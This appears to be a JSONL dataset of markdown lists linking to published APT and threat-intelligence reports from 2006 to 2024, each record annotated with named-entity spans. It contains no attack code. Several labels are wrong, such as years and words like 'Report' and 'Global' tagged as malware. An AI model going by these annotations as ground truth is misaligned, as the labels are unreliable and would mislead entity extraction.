+{"text": "* Dec 22 - [[Group-IB] Anunak: APT against financial institutions](http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf) | :closed_book:\n* Dec 21 - [[ThreatConnect] Operation Poisoned Helmand](http://www.threatconnect.com/news/operation-poisoned-helmand/) | :closed_book:\n* Dec 19 - [[US-CERT] TA14-353A: Targeted Destructive Malware (wiper)](https://www.us-cert.gov/ncas/alerts/TA14-353A) | :closed_book:\n* Dec 18 - [[Citizen Lab] Malware Attack Targeting Syrian ISIS Critics](https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/) | :closed_book:\n* Dec 17 - [[CISCO] Wiper Malware – A Detection Deep Dive](http://blogs.cisco.com/security/talos/wiper-malware) | :closed_book:\n* Dec 12 - [[Fidelis] Bots, Machines, and the Matrix](http://www.fidelissecurity.com/sites/default/files/FTA_1014_Bots_Machines_and_the_Matrix.pdf) | :closed_book:\n* Dec 12 - [[AirBus] Vinself now with steganography](http://blog.cybersecurity-airbusds.com/post/2014/12/Vinself) | :closed_book:\n* Dec 10 - [[Ahnlab] South Korea MBR Wiper](http://asec.ahnlab.com/1015) | :closed_book:\n* Dec 10 - [[F-Secure] W64/Regin, Stage #1](https://www.f-secure.com/documents/996508/1030745/w64_regin_stage_1.pdf) | :closed_book:\n* Dec 10 - [[F-Secure] W32/Regin, Stage #1](https://www.f-secure.com/documents/996508/1030745/w32_regin_stage_1.pdf) | :closed_book:\n* Dec 10 - [[Kaspersky] Cloud Atlas: RedOctober APT](http://securelist.com/blog/research/68083/cloud-atlas-redoctober-apt-is-back-in-style/) | :closed_book:\n* Dec 09 - [[BlueCoat] The Inception Framework](https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-inception-framework%E2%80%9D-very-sophisticated-layered-malware) | :closed_book:\n* Dec 08 - [[Kaspersky] The 'Penquin' Turla](http://securelist.com/blog/research/67962/the-penquin-turla-2/) | :closed_book:\n* Dec 05 - [[Cylance] Operation Cleaver: The Notepad Files](http://blog.cylance.com/operation-cleaver-the-notepad-files) | :closed_book:\n* Dec 02 - [[Cylance] Operation Cleaver](http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf) | IOCs  | [:closed_book:](../../blob/ma", "spans": {"URL: http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf": [[67, 142]], "URL: http://www.threatconnect.com/news/operation-poisoned-helmand/": [[216, 277]], "URL: https://www.us-cert.gov/ncas/alerts/TA14-353A": [[366, 411]], "URL: https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/": [[501, 577]], "URL: http://blogs.cisco.com/security/talos/wiper-malware": [[654, 705]], "URL: http://www.fidelissecurity.com/sites/default/files/FTA_1014_Bots_Machines_and_the_Matrix.pdf": [[777, 869]], "URL: http://blog.cybersecurity-airbusds.com/post/2014/12/Vinself": [[940, 999]], "URL: http://asec.ahnlab.com/1015": [[1061, 1088]], "URL: https://www.f-secure.com/documents/996508/1030745/w64_regin_stage_1.pdf": [[1150, 1221]], "URL: https://www.f-secure.com/documents/996508/1030745/w32_regin_stage_1.pdf": [[1283, 1354]], "URL: http://securelist.com/blog/research/68083/cloud-atlas-redoctober-apt-is-back-in-style/": [[1425, 1511]], "URL: https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-inception-framework%E2%80%9D-very-sophisticated-layered-malware": [[1577, 1718]], "URL: http://securelist.com/blog/research/67962/the-penquin-turla-2/": [[1781, 1843]], "URL: http://blog.cylance.com/operation-cleaver-the-notepad-files": [[1921, 1980]], "URL: http://cdn2.hubspot.net/hubfs/270968/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf": [[2039, 2127]], "MALWARE: 2014": [[524, 528], [984, 988], [1616, 1620]], "THREAT_ACTOR: Anunak": [[23, 29]], "THREAT_ACTOR: Cleaver": [[1893, 1900], [2030, 2037], [2083, 2090]], "THREAT_ACTOR: Inception Framework": [[1556, 1575]], "THREAT_ACTOR: Turla": [[1774, 1779]], "SYSTEM: Kaspersky": [[1385, 1394], [1749, 1758]], "ORGANIZATION: Group-IB": [[13, 21]], "ORGANIZATION: US-CERT": [[308, 315]], "ORGANIZATION: F-Secure": [[1119, 1127], [1252, 1260]], "ORGANIZATION: ThreatConnect": [[173, 186]], "ORGANIZATION: Citizen Lab": [[442, 453]], "MALWARE: Inception": [[1556, 1565]], "MALWARE: Regin": [[1133, 1138], [1266, 1271]], "MALWARE: Wiper": [[615, 620], [1054, 1059]], "MALWARE: Penquin": [[1765, 1772]]}, "info": {"source": "apt_reports", "name": "2014"}}
+{"text": "* XXX XX - [[CERT-ISAC] Inside Report – APT Attacks on Indian Cyber Space]() | :closed_book:\n* XXX XX - [[KPMG] Energy at Risk: A Study of IT Security in the Energy and Natural Resources Industry]() | :closed_book:\n* XXX XX - [[FireEye] THE LITTLE MALWARE THAT COULD: Detecting and Defeating the China Chopper Web Shell](https://www.fireeye.com/content/dam/FireEye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf) | :closed_book:\n* XXX XX - [[CrowdStrike] Deep Panda](http://www.crowdstrike.com/sites/default/files/AdversaryIntelligenceReport_DeepPanda_0.pdf) | :closed_book:\n* XXX XX - [[CISAK] Dark Seoul Cyber Attack: Could it be worse?](http://cisak.perpika.kr/2013/wp-content/uploads/2013/06/Accepted-Papers.xlsx) | :closed_book:\n* XXX XX - [[Fireeye] OPERATION SAFFRON ROSE](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf) | :closed_book:\n* Dec 20 - [[Ahnlab] ETSO APT Attacks Analysis](http://image.ahnlab.com/global/upload/download/documents/1401223631603288.pdf) | :closed_book:\n* Dec 12 - [[FireEye] Operation Ke3chang: Targeted Attacks Against Ministries of Foreign Affairs](https://www.fireeye.com/blog/executive-perspective/2013/12/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs.html) | :closed_book:\n* Dec 02 - [[Fidelis] njRAT, The Saga Continues](http://www.fidelissecurity.com/files/files/FTA%201010%20-%20njRAT%20The%20Saga%20Continues.pdf) | :closed_book:\n* Nov 10 - [[FireEye] Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method](http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html) | :closed_book:\n* Oct 25 - [[FireEye] Evasive Tactics: Terminator RAT](https://www.fireeye.com/blog/threat-research/2013/10/evasive-tactics-terminator-rat.html) | :closed_book:\n* Oct 24 - [[Trend Micro] FakeM RAT](http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf) | :closed_book:\n* Sep 25 - [[Kaspersky] The 'ICEFROG' APT: A Tale of cloak and three daggers](http://www.securelist.com/en/downloads/vlpdfs/icefog.pdf) | :closed_book:\n* Sep 21 - [[FireEye] Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack", "spans": {"CVE_ID: CVE-2013-3893": [[2259, 2272]], "URL: https://www.fireeye.com/content/dam/FireEye-www/global/en/current-threats/pdfs/rpt-china-chopper.pdf": [[321, 421]], "URL: http://www.crowdstrike.com/sites/default/files/AdversaryIntelligenceReport_DeepPanda_0.pdf": [[477, 567]], "URL: http://cisak.perpika.kr/2013/wp-content/uploads/2013/06/Accepted-Papers.xlsx": [[650, 726]], "URL: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf": [[790, 899]], "URL: http://image.ahnlab.com/global/upload/download/documents/1401223631603288.pdf": [[965, 1042]], "URL: https://www.fireeye.com/blog/executive-perspective/2013/12/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs.html": [[1158, 1295]], "URL: http://www.fidelissecurity.com/files/files/FTA%201010%20-%20njRAT%20The%20Saga%20Continues.pdf": [[1362, 1456]], "URL: http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html": [[1577, 1721]], "URL: https://www.fireeye.com/blog/threat-research/2013/10/evasive-tactics-terminator-rat.html": [[1794, 1882]], "URL: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf": [[1937, 2036]], "URL: http://www.securelist.com/en/downloads/vlpdfs/icefog.pdf": [[2132, 2188]], "MALWARE: 2013": [[674, 678], [698, 702], [1209, 1213], [1630, 1634], [1839, 1843], [2263, 2267]], "TOOL: njRAT": [[1335, 1340]], "TOOL: Hydra": [[1516, 1521]], "SYSTEM: Kaspersky": [[2067, 2076]], "SYSTEM: IE": [[1523, 1525]], "SYSTEM: Trend Micro": [[1913, 1924]], "ORGANIZATION: FireEye": [[228, 235], [357, 364], [1073, 1080], [1487, 1494], [1752, 1759], [2219, 2226]], "ORGANIZATION: KPMG": [[106, 110]], "ORGANIZATION: CrowdStrike": [[452, 463]], "VULNERABILITY: zero-day": [[1667, 1675]], "MALWARE: Dark": [[605, 609]], "MALWARE: Ke3chang": [[1092, 1100]], "MALWARE: FakeM": [[1926, 1931]], "MALWARE: Deep Panda": [[465, 475]], "MALWARE: Report": [[31, 37]], "MALWARE: China Chopper": [[296, 309]]}, "info": {"source": "apt_reports", "name": "2013"}}
+{"text": "* Nov 13 - [[FireEye] Poison Ivy Malware Analysis](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf) | :closed_book:\n* Nov 03 - [[CyberPeace] Systematic cyber attacks against Israeli and Palestinian targets going on for a year](http://cyber-peace.org/wp-content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf) | :closed_book:\n* Nov 01 - [[Fidelis] RECOVERING FROM SHAMOON](http://www.fidelissecurity.com/sites/default/files/FTA%201007%20-%20Shamoon.pdf) | :closed_book:\n* Oct 31 - [[DEA] CYBER ESPIONAGE Against Georgian Government (Georbot Botnet)](http://dea.gov.ge/uploads/CERT%20DOCS/Cyber%20Espionage.pdf) | :closed_book:\n* Oct 27 - [[Symantec] Trojan.Taidoor: Targeting Think Tanks](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/trojan_taidoor-targeting_think_tanks.pdf) | :closed_book:\n* Oct 08 - [[Matasano] pest control: taming the rats](http://matasano.com/research/PEST-CONTROL.pdf) | :closed_book:\n* Sep 18 - [[Dell] The Mirage Campaign](http://www.secureworks.com/cyber-threat-intelligence/threats/the-mirage-campaign/) | :closed_book:\n* Sep 12 - [[RSA] The VOHO Campaign: An in depth analysis](http://blogsdev.rsa.com/wp-content/uploads/VOHO_WP_FINAL_READY-FOR-Publication-09242012_AC.pdf) | :closed_book:\n* Sep 07 - [[Citizen lab] IEXPLORE RAT](https://citizenlab.org/wp-content/uploads/2012/09/IEXPL0RE_RAT.pdf) | :closed_book:\n* Sep 06 - [[Symantec] The Elderwood Project](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf)  | :closed_book:\n* Aug 19 - [[Rapid7] ByeBye Shell and the targeting of Pakistan](https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/) | :closed_book:\n* Aug 18 - [[Trend Micro] The Taidoor Campaign AN IN-DEPTH ANALYSIS ](http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf) | :closed_book:\n* Aug 09 - [[Kaspersky] Gauss: Abnormal Distribution](http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/kaspersky-lab-gauss.pdf) | :closed_book:\n* Jul 27 - [[Kaspersky] The Madi Campaign](https://securelist.com/analysis/36609/the-madi-infostealers-a-detailed-analysis/) | [:closed_book:](../../blob/master/2012/", "spans": {"URL: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf": [[51, 148]], "URL: http://cyber-peace.org/wp-content/uploads/2014/01/Cyberattack_against_Israeli_and_Palestinian_targets.pdf": [[277, 382]], "URL: http://www.fidelissecurity.com/sites/default/files/FTA%201007%20-%20Shamoon.pdf": [[447, 526]], "URL: http://dea.gov.ge/uploads/CERT%20DOCS/Cyber%20Espionage.pdf": [[624, 683]], "URL: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/trojan_taidoor-targeting_think_tanks.pdf": [[763, 888]], "URL: http://matasano.com/research/PEST-CONTROL.pdf": [[960, 1005]], "URL: http://www.secureworks.com/cyber-threat-intelligence/threats/the-mirage-campaign/": [[1063, 1144]], "URL: http://blogsdev.rsa.com/wp-content/uploads/VOHO_WP_FINAL_READY-FOR-Publication-09242012_AC.pdf": [[1221, 1315]], "URL: https://citizenlab.org/wp-content/uploads/2012/09/IEXPL0RE_RAT.pdf": [[1373, 1439]], "URL: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf": [[1503, 1613]], "URL: https://blog.rapid7.com/2013/08/19/byebye-and-the-targeting-of-pakistan/": [[1697, 1769]], "URL: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf": [[1857, 1967]], "URL: http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/kaspersky-lab-gauss.pdf": [[2039, 2128]], "URL: https://securelist.com/analysis/36609/the-madi-infostealers-a-detailed-analysis/": [[2189, 2269]], "FILEPATH: /media/security_response/whitepapers/trojan_taidoor-targeting_think_tanks.pdf)": [[811, 889]], "FILEPATH: /media/security_response/whitepapers/the-elderwood-project.pdf)": [[1551, 1614]], "MALWARE: 2012": [[1415, 1419], [2307, 2311]], "THREAT_ACTOR: Madi": [[2174, 2178]], "THREAT_ACTOR: Taidoor": [[731, 738], [1817, 1824]], "THREAT_ACTOR: Mirage": [[1046, 1052]], "SYSTEM: Kaspersky": [[1998, 2007], [2159, 2168]], "SYSTEM: Symantec": [[714, 722], [1470, 1478]], "SYSTEM: Trend Micro": [[1800, 1811]], "ORGANIZATION: FireEye": [[13, 20]], "ORGANIZATION: Rapid7": [[1645, 1651]], "ORGANIZATION: RSA": [[1175, 1178]], "MALWARE: Elderwood": [[1484, 1493]]}, "info": {"source": "apt_reports", "name": "2012"}}
+{"text": "* Dec 08 - [[Norman] Palebot trojan harvests Palestinian online credentials](https://web.archive.org/web/20130308090454/http://blogs.norman.com/2011/malware-detection-team/palebot-trojan-harvests-palestinian-online-credentials) | :closed_book:\n* Nov 15 - [[Norman] The many faces of Gh0st Rat](http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf) | :closed_book:\n* Oct 31 - [[Symantec] The Nitro Attacks: Stealing Secrets from the Chemical Industry](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf) | :closed_book:\n* Oct 26 - [[Dell] Duqu Trojan Questions and Answers](http://www.secureworks.com/cyber-threat-intelligence/threats/duqu/) | :closed_book:\n* Oct 12 - [[Zscaler] Alleged APT Intrusion Set: \"1.php\" Group](http://www.zscaler.com/pdf/technicalbriefs/tb_advanced_persistent_threats.pdf) | :closed_book:\n* Sep 22 - [[Trend Micro] The \"LURID\" Downloader](http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf) | :closed_book:\n* Sep 11 - [[CommandFive] SK Hack by an Advanced Persistent Threat](http://www.commandfive.com/papers/C5_APT_SKHack.pdf) | :closed_book:\n* Sep 09 - [[Fidelis] The RSA Hack](http://www.fidelissecurity.com/sites/default/files/FTA1001-The_RSA_Hack.pdf) | :closed_book:\n* Aug 04 - [[McAfee] Operation Shady RAT](http://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf) | :closed_book:\n* Aug 03 - [[Dell] HTran and the Advanced Persistent Threat](http://www.secureworks.com/cyber-threat-intelligence/threats/htran/) | :closed_book:\n* Aug 02 - [[vanityfair] Operation Shady rat : Vanity](http://www.vanityfair.com/culture/features/2011/09/operation-shady-rat-201109) | :closed_book:\n* Jun ?? - [[CommandFive] Advanced Persistent Threats:A Decade in Review]() | :closed_book:\n* Apr 20 - [[ESET] Stuxnet Under the Microscope](http://www.eset.com/us/resources/white-papers/Stuxnet_Under_the_Microscope.pdf) | :closed_book:\n* Feb 18 - [[NERC] Night Dragon Specific Protection Measures for Consideration](http://www.nerc.com/pa/rrm/bpsa/Alerts%20DL/2011%20Alerts/A-2011-02-18-01%20Night%20Dragon%20Attachment%201.pdf) | :closed_book:\n* Feb 10 - [[McAfee] Global Energy Cyberattacks: Night Dragon](http://www.mcafee.com/us/resources/whi", "spans": {"URL: https://web.archive.org/web/20130308090454/http://blogs.norman.com/2011/malware-detection-team/palebot-trojan-harvests-palestinian-online-credentials": [[77, 226]], "URL: http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf": [[294, 358]], "URL: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf": [[463, 569]], "URL: http://www.secureworks.com/cyber-threat-intelligence/threats/duqu/": [[641, 707]], "URL: http://www.zscaler.com/pdf/technicalbriefs/tb_advanced_persistent_threats.pdf": [[789, 866]], "URL: http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf": [[934, 1044]], "URL: http://www.commandfive.com/papers/C5_APT_SKHack.pdf": [[1130, 1181]], "URL: http://www.fidelissecurity.com/sites/default/files/FTA1001-The_RSA_Hack.pdf": [[1235, 1310]], "URL: http://www.mcafee.com/us/resources/white-papers/wp-operation-shady-rat.pdf": [[1370, 1444]], "URL: http://www.secureworks.com/cyber-threat-intelligence/threats/htran/": [[1523, 1590]], "URL: http://www.vanityfair.com/culture/features/2011/09/operation-shady-rat-201109": [[1663, 1740]], "URL: http://www.eset.com/us/resources/white-papers/Stuxnet_Under_the_Microscope.pdf": [[1899, 1977]], "URL: http://www.nerc.com/pa/rrm/bpsa/Alerts%20DL/2011%20Alerts/A-2011-02-18-01%20Night%20Dragon%20Attachment%201.pdf": [[2075, 2186]], "URL: http://www.mcafee.com/us/resources/whi": [[2267, 2305]], "FILEPATH: /media/security_response/whitepapers/the_nitro_attacks.pdf)": [[511, 570]], "MALWARE: 2011": [[144, 148], [1706, 1710], [2119, 2123], [2135, 2139]], "THREAT_ACTOR: Night Dragon": [[2014, 2026], [2253, 2265]], "THREAT_ACTOR: Nitro": [[403, 408]], "SYSTEM: McAfee": [[1341, 1347], [2217, 2223]], "SYSTEM: Symantec": [[389, 397]], "SYSTEM: Trend Micro": [[897, 908]], "SYSTEM: ESET": [[1863, 1867]], "ORGANIZATION: Zscaler": [[738, 745]], "ORGANIZATION: RSA": [[1225, 1228]], "MALWARE: Stuxnet": [[1869, 1876]], "MALWARE: Duqu": [[606, 610]], "MALWARE: Global": [[2225, 2231]]}, "info": {"source": "apt_reports", "name": "2011"}}
+{"text": "* Dec 09 - [[CRS] The Stuxnet Computer Worm: Harbinger of an Emerging Warfare Capability ](http://www.fas.org/sgp/crs/natsec/R41524.pdf)  | :closed_book:\n* Sep 30 - [[Symantec] W32.Stuxnet Dossier](http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf) | :closed_book:\n* Sep 03 - [[Seculert] The \"MSUpdater\" Trojan And Ongoing Targeted Attacks](http://www.seculert.com/reports/MSUpdaterTrojanWhitepaper.pdf) | :closed_book:\n* Apr 06 - [[ShadowServer] Shadows in the cloud: Investigating Cyber Espionage 2.0](http://www.nartv.org/mirror/shadows-in-the-cloud.pdf) | :closed_book:\n* Mar 14 - [[CA] In-depth Analysis of Hydraq](http://www.totaldefense.com/Core/DownloadDoc.aspx?documentID=1052) | :closed_book:\n* Feb 10 - [[HB Gary] Threat Report: Operation Aurora](http://hbgary.com/sites/default/files/publications/WhitePaper%20HBGary%20Threat%20Report,%20Operation%20Aurora.pdf) | :closed_book:\n* Jan ?? - [[Triumfant] Case Study: Operation Aurora](http://www.triumfant.com/pdfs/Case_Study_Operation_Aurora_V11.pdf) | :closed_book:\n* Jan 27 - [[Alberts] Operation Aurora Detect, Diagnose, Respond](http://albertsblog.stickypatch.org/files/3/5/1/4/7/282874-274153/Aurora_HBGARY_DRAFT.pdf) | :closed_book:\n* Jan 26 - [[McAfee] How Can I Tell if I Was Infected By Aurora?  (IOCs)]()  | :closed_book:\n* Jan 20 - [[McAfee] Combating Aurora](https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/67000/KB67957/en_US/Combating%20Threats%20-%20Operation%20Aurora.pdf)| :closed_book:\n* Jan 13 - [[Damballa] The Command Structure of the Aurora Botnet](https://www.damballa.com/downloads/r_pubs/Aurora_Botnet_Command_Structure.pdf) | :closed_book:\n* Jan 12 - [[Google] Operation Aurora](http://en.wikipedia.org/wiki/Operation_Aurora) | :closed_book:", "spans": {"URL: http://www.fas.org/sgp/crs/natsec/R41524.pdf": [[91, 135]], "URL: http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_stuxnet_dossier.pdf": [[198, 306]], "URL: http://www.seculert.com/reports/MSUpdaterTrojanWhitepaper.pdf": [[400, 461]], "URL: http://www.nartv.org/mirror/shadows-in-the-cloud.pdf": [[563, 615]], "URL: http://www.totaldefense.com/Core/DownloadDoc.aspx?documentID=1052": [[679, 744]], "URL: http://hbgary.com/sites/default/files/publications/WhitePaper%20HBGary%20Threat%20Report,%20Operation%20Aurora.pdf": [[817, 931]], "URL: http://www.triumfant.com/pdfs/Case_Study_Operation_Aurora_V11.pdf": [[1003, 1068]], "URL: http://albertsblog.stickypatch.org/files/3/5/1/4/7/282874-274153/Aurora_HBGARY_DRAFT.pdf": [[1152, 1240]], "URL: https://kc.mcafee.com/resources/sites/MCAFEE/content/live/CORP_KNOWLEDGEBASE/67000/KB67957/en_US/Combating%20Threats%20-%20Operation%20Aurora.pdf": [[1390, 1535]], "URL: https://www.damballa.com/downloads/r_pubs/Aurora_Botnet_Command_Structure.pdf": [[1619, 1696]], "URL: http://en.wikipedia.org/wiki/Operation_Aurora": [[1753, 1798]], "FILEPATH: /media/security_response/whitepapers/w32_stuxnet_dossier.pdf)": [[246, 307]], "SYSTEM: McAfee": [[1271, 1277], [1364, 1370]], "SYSTEM: Symantec": [[167, 175]], "ORGANIZATION: Google": [[1727, 1733]], "MALWARE: Hydraq": [[671, 677]], "MALWARE: Aurora": [[809, 815], [995, 1001], [1118, 1124], [1315, 1321], [1382, 1388], [1604, 1610], [1745, 1751]], "MALWARE: Stuxnet": [[22, 29], [181, 188]], "MALWARE: Report": [[791, 797]]}, "info": {"source": "apt_reports", "name": "2010"}}
+{"text": "* Oct 19 - [[Northrop Grumman] Capability of the People’s Republic of China to Conduct Cyber Warfare and Computer Network Exploitation ](https://nsarchive2.gwu.edu//NSAEBB/NSAEBB424/docs/Cyber-030.pdf) | :closed_book:\n* Mar 29 - [[TheSecDevGroup] Tracking GhostNet](http://www.nartv.org/mirror/ghostnet.pdf) | :closed_book:\n* Jan 18 - [[Baltic] Impact of Alleged Russian Cyber Attacks](https://www.baltdefcol.org/files/files/documents/Research/BSDR2009/1_%20Ashmore%20-%20Impact%20of%20Alleged%20Russian%20Cyber%20Attacks%20.pdf) | :closed_book:", "spans": {"URL: https://nsarchive2.gwu.edu//NSAEBB/NSAEBB424/docs/Cyber-030.pdf": [[137, 200]], "URL: http://www.nartv.org/mirror/ghostnet.pdf": [[266, 306]], "URL: https://www.baltdefcol.org/files/files/documents/Research/BSDR2009/1_%20Ashmore%20-%20Impact%20of%20Alleged%20Russian%20Cyber%20Attacks%20.pdf": [[386, 528]], "THREAT_ACTOR: GhostNet": [[256, 264]], "ORGANIZATION: Northrop Grumman": [[13, 29]]}, "info": {"source": "apt_reports", "name": "2009"}}
+{"text": "* Nov XX - [[Military Review] CHINA_CHINA_CYBER_WARFARE](https://www.armyupress.army.mil/Portals/7/military-review/Archives/English/MilitaryReview_20081231_art009.pdf)| :closed_book:\n* Nov 19 - [[Wired] Agent.BTZ](http://www.wired.com/dangerroom/2008/11/army-bans-usb-d/) | :closed_book:\n* Nov 04 - [[DTIC] China's Electronic Long-Range Reconnaissance](http://www.dtic.mil/dtic/tr/fulltext/u2/a492659.pdf) | :closed_book:\n* Oct 02 - [[Culture Mandala] How China will use cyber warfare to leapfrog in military competitiveness](http://www.international-relations.com/CM8-1/Cyberwar.pdf) | :closed_book:\n* Aug 10 - [[Georgia] Russian Invasion of Georgia Russian Cyberwar on Georgia](http://georgiaupdate.gov.ge/doc/10006922/CYBERWAR-%20fd_2_.pdf) | :closed_book:", "spans": {"URL: https://www.armyupress.army.mil/Portals/7/military-review/Archives/English/MilitaryReview_20081231_art009.pdf": [[57, 166]], "URL: http://www.wired.com/dangerroom/2008/11/army-bans-usb-d/": [[214, 270]], "URL: http://www.dtic.mil/dtic/tr/fulltext/u2/a492659.pdf": [[353, 404]], "URL: http://www.international-relations.com/CM8-1/Cyberwar.pdf": [[526, 583]], "URL: http://georgiaupdate.gov.ge/doc/10006922/CYBERWAR-%20fd_2_.pdf": [[680, 742]], "MALWARE: 2008": [[246, 250]]}, "info": {"source": "apt_reports", "name": "2008"}}
+{"text": "* [[Krebs on Security] \"Wicked Rose\" and the NCPH Hacking Group](http://krebsonsecurity.com/wp-content/uploads/2012/11/WickedRose_andNCPH.pdf) | :closed_book:", "spans": {"URL: http://krebsonsecurity.com/wp-content/uploads/2012/11/WickedRose_andNCPH.pdf": [[65, 141]]}, "info": {"source": "apt_reports", "name": "2006"}}
+{"text": "### SentinelOne \n:small_orange_diamond: 2024 - [[SentinelOne] WatchTower 2023 Intelligence-Driven Threat Hunting](https://www.sentinelone.com/resources/watchtower-end-of-year-report-2023/) | :closed_book:<br>\n\n### Red Canary \n:small_orange_diamond: 2021 - [[Red_Canary] 2021 Threat Detection Report](https://redcanary.com/threat-detection-report/) | :closed_book:<br>\n\n### NSA\n:small_orange_diamond: Jan 08 2021 - [[NSA] 2020 Cybersecurity Year in Review report](https://media.defense.gov/2021/Jan/08/2002561651/-1/-1/0/NSA%20CYBERSECURITY%202020%20YEAR%20IN%20REVIEW.PDF/NSA%20CYBERSECURITY%202020%20YEAR%20IN%20REVIEW.PDF) | :closed_book:<br>\n\n### Objective-See\n:small_orange_diamond: Jan 01 2024 - [[Objective-See] The Mac Malware of 2023](https://objective-see.org/downloads/MacMalware_2023.pdf) | :closed_book:<br>\n:small_orange_diamond: Jan 01 2023 - [[Objective-See] The Mac Malware of 2022](https://objective-see.org/downloads/MacMalware_2022.pdf) | :closed_book:<br>\n:small_orange_diamond: Jan 01 2022 - [[Objective-See] The Mac Malware of 2021](https://objective-see.com/downloads/MacMalware_2021.pdf) | :closed_book:<br>\n:small_orange_diamond: Jan 04 2021 - [[Objective-See] The Mac Malware of 2020](https://objective-see.com/downloads/MacMalware_2020.pdf/) | :closed_book:<br>\n### ESET\n:small_orange_diamond: Q3 2023 - [[ESET] 2023 Q2-Q3 APT Activity Report](https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q2-2023-q3-2023.pdf) | :closed_book:<br>\n:small_orange_diamond: Jun 2022 - [[ESET] ESET Threat Report T1 2022](https://www.welivesecurity.com/wp-content/uploads/2022/06/eset_threat_report_t12022.pdf) | :closed_book:<br>\n:small_orange_diamond: Feb 09 2022 - [[ESET] ESET Threat Report T3 2021](https://www.welivesecurity.com/2022/02/09/eset-threat-report-t32021/) | :closed_book:<br>\n:small_orange_diamond: Sep 30 2021 - [[ESET] ESET Threat Report T2 2021](https://www.welivesecurity.com/2021/09/30/eset-threat-report-t22021/) | :closed_book:<br>\n:small_orange_diamond: Jun 03 2021 - [[ESET] ESET Threat Report T1 2021](https://www.welivesecurity.com/2021/06/03/eset-threat-report-t12021/) | :closed_book:<br>\n:small_orange_diamond: Oct 18 2020 - [", "spans": {"URL: https://www.sentinelone.com/resources/watchtower-end-of-year-report-2023/": [[114, 187]], "URL: https://redcanary.com/threat-detection-report/": [[300, 346]], "URL: https://media.defense.gov/2021/Jan/08/2002561651/-1/-1/0/NSA%20CYBERSECURITY%202020%20YEAR%20IN%20REVIEW.PDF/NSA%20CYBERSECURITY%202020%20YEAR%20IN%20REVIEW.PDF": [[463, 623]], "URL: https://objective-see.org/downloads/MacMalware_2023.pdf": [[743, 798]], "URL: https://objective-see.org/downloads/MacMalware_2022.pdf": [[899, 954]], "URL: https://objective-see.com/downloads/MacMalware_2021.pdf": [[1055, 1110]], "URL: https://objective-see.com/downloads/MacMalware_2020.pdf/": [[1211, 1267]], "URL: https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-apt-activity-report-q2-2023-q3-2023.pdf": [[1371, 1478]], "URL: https://www.welivesecurity.com/wp-content/uploads/2022/06/eset_threat_report_t12022.pdf": [[1570, 1657]], "URL: https://www.welivesecurity.com/2022/02/09/eset-threat-report-t32021/": [[1752, 1820]], "URL: https://www.welivesecurity.com/2021/09/30/eset-threat-report-t22021/": [[1915, 1983]], "URL: https://www.welivesecurity.com/2021/06/03/eset-threat-report-t12021/": [[2078, 2146]], "MALWARE: Report": [[292, 298], [1363, 1369], [1554, 1560], [1736, 1742], [1899, 1905], [2062, 2068]], "SYSTEM: ESET": [[1293, 1297], [1333, 1337], [1536, 1540], [1542, 1546], [1718, 1722], [1724, 1728], [1881, 1885], [1887, 1891], [2044, 2048], [2050, 2054]], "SYSTEM: SentinelOne": [[4, 15], [49, 60]], "ORGANIZATION: NSA": [[373, 376], [416, 419], [520, 523], [572, 575]], "ORGANIZATION: Red Canary": [[214, 224]]}, "info": {"source": "apt_reports", "name": "Report"}}
